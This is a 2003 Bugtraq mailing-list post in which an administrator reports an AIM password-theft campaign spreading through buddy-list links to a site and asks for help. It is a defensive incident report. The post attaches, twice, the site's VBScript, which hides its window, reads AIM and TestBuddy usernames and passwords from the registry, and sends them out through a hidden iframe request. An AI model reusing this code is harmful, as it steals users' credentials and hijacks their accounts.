[31725] in bugtraq
[Fwd: Re: AIM Password theft]
daemon@ATHENA.MIT.EDU (Mark Coleman)
Tue Sep 23 14:53:49 2003
Message-ID: <3F7077FE.70303@uniontown.com>
Date: Tue, 23 Sep 2003 12:42:38 -0400
From: Mark Coleman <markc@uniontown.com>
MIME-Version: 1.0
To: bugtraq@securityfocus.org
Content-Type: multipart/mixed;
boundary="------------010903030601090803090101"
--------------010903030601090803090101
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Hi, can anyone shed some light on this for me? If this is new, its
going to spread like wildfire. AOL or incidents lists have yet to
reply.... it appears to be a legitimate threat as I have at least one
user "infected" already.. Thank you..
-Mark Coleman
--------------
Hi, please find attached the vbs code that appears to be running when
visitors hit www.haxr.org.
This reportedly pulls username/password from registry of AIM accounts,
then something elsewhere gets buddy lists through this password theft
and sends links to them via AOL to start the process again.
We've had at least one "infection" if you want to call it that, and a
user's AIM account was hijacked and this link sent to all users in his
buddy list which then propelled the "infection" as they click the link
to www.haxr.org.
Does anyone have any information about this issue? Any help on this
would be greatly appreciated. Still chasing it down..
-Mark Coleman
Mark Coleman wrote:
> I just started investigating a report that appears to have merit of a
> username/password theft of AIM accounts.
>
> Users are being directed to a web page located at www.haxr.org where
> the source appears to run a javascript program that is proportedly
> stealing AIM usernames/passwords/buddy lists.
>
> Does anyone have any information related to www. haxr.org or the
> technique being used?
> Please be careful when visiting the page, it pulls script off of a
> yahoo site.
>
> I am finding nothing in any of the initial searches that I am doing.
>
> Any help/insight would be greatly appreciated.
>
> -Mark Coleman
>
>
>
--------------010903030601090803090101
Content-Type: text/plain;
name="code.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="code.txt"
On Error Resume Next
Dim objReg
Set objReg = Createobject("WScript.Shell")
Dim tbuser, tbpw
dim user, pwvalue, pwout, pwold
window.resizeTo 0,0
window.moveTo 5000,5000
tbuser = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\TestBuddy\ScreenName")
tbpw = replace(objReg.regread ("HKEY_CURRENT_USER\Software\America Online\TestBuddy\" & tbuser & "\Password"), "+", ".")
user = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Login\Screen Name")
pwvalue = replace(objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\" & user & "\Login\Password1"), "+", ".")
pwold = replace(objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\" & Lcase(Replace(user, " ","")) & "\Login\Password"), "+", ".")
pwout = pwvalue
document.write("<center><iframe src='tracking.php?name=" & user & "&hash=" & pwout & "&old=" & pwold & "&tbname=" & tbuser & "&tbpassword=" & tbpw & "' width='0' height='0' onLoad='javascript:window.close();'></center>")
--------------010903030601090803090101
Content-Type: message/rfc822;
name="Re: AIM Password theft"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="Re: AIM Password theft"
Return-Path: <markc@uniontown.com>
Received: from uniontown.com (system254.nttc.edu [198.252.172.254])
by linux.uniontown.com (8.12.9/8.12.8) with ESMTP id h8NGMvfJ007050;
Tue, 23 Sep 2003 12:22:58 -0400
Message-ID: <3F707386.5070509@uniontown.com>
Date: Tue, 23 Sep 2003 12:23:34 -0400
From: Mark Coleman <markc@uniontown.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Mark Coleman <markc@uniontown.com>
CC: incidents@securityfocus.org
Subject: Re: AIM Password theft
References: <3F705E87.3050207@uniontown.com>
In-Reply-To: <3F705E87.3050207@uniontown.com>
Content-Type: multipart/mixed;
boundary="------------080001080201090306090403"
This is a multi-part message in MIME format.
--------------080001080201090306090403
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Hi, please find attached the vbs code that appears to be running when
visitors hit www.haxr.org.
This reportedly pulls username/password from registry of AIM accounts,
then something elsewhere gets buddy lists through this password theft
and sends links to them via AOL to start the process again.
We've had at least one "infection" if you want to call it that, and a
user's AIM account was hijacked and this link sent to all users in his
buddy list which then propelled the "infection" as they click the link
to www.haxr.org.
Does anyone have any information about this issue? Any help on this
would be greatly appreciated. Still chasing it down..
-Mark Coleman
Mark Coleman wrote:
> I just started investigating a report that appears to have merit of a
> username/password theft of AIM accounts.
>
> Users are being directed to a web page located at www.haxr.org where
> the source appears to run a javascript program that is proportedly
> stealing AIM usernames/passwords/buddy lists.
>
> Does anyone have any information related to www. haxr.org or the
> technique being used?
> Please be careful when visiting the page, it pulls script off of a
> yahoo site.
>
> I am finding nothing in any of the initial searches that I am doing.
>
> Any help/insight would be greatly appreciated.
>
> -Mark Coleman
>
>
>
--------------080001080201090306090403
Content-Type: text/plain;
name="code.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="code.txt"
On Error Resume Next
Dim objReg
Set objReg = Createobject("WScript.Shell")
Dim tbuser, tbpw
dim user, pwvalue, pwout, pwold
window.resizeTo 0,0
window.moveTo 5000,5000
tbuser = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\TestBuddy\ScreenName")
tbpw = replace(objReg.regread ("HKEY_CURRENT_USER\Software\America Online\TestBuddy\" & tbuser & "\Password"), "+", ".")
user = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Login\Screen Name")
pwvalue = replace(objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\" & user & "\Login\Password1"), "+", ".")
pwold = replace(objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\" & Lcase(Replace(user, " ","")) & "\Login\Password"), "+", ".")
pwout = pwvalue
document.write("<center><iframe src='tracking.php?name=" & user & "&hash=" & pwout & "&old=" & pwold & "&tbname=" & tbuser & "&tbpassword=" & tbpw & "' width='0' height='0' onLoad='javascript:window.close();'></center>")
--------------080001080201090306090403--
--------------010903030601090803090101--
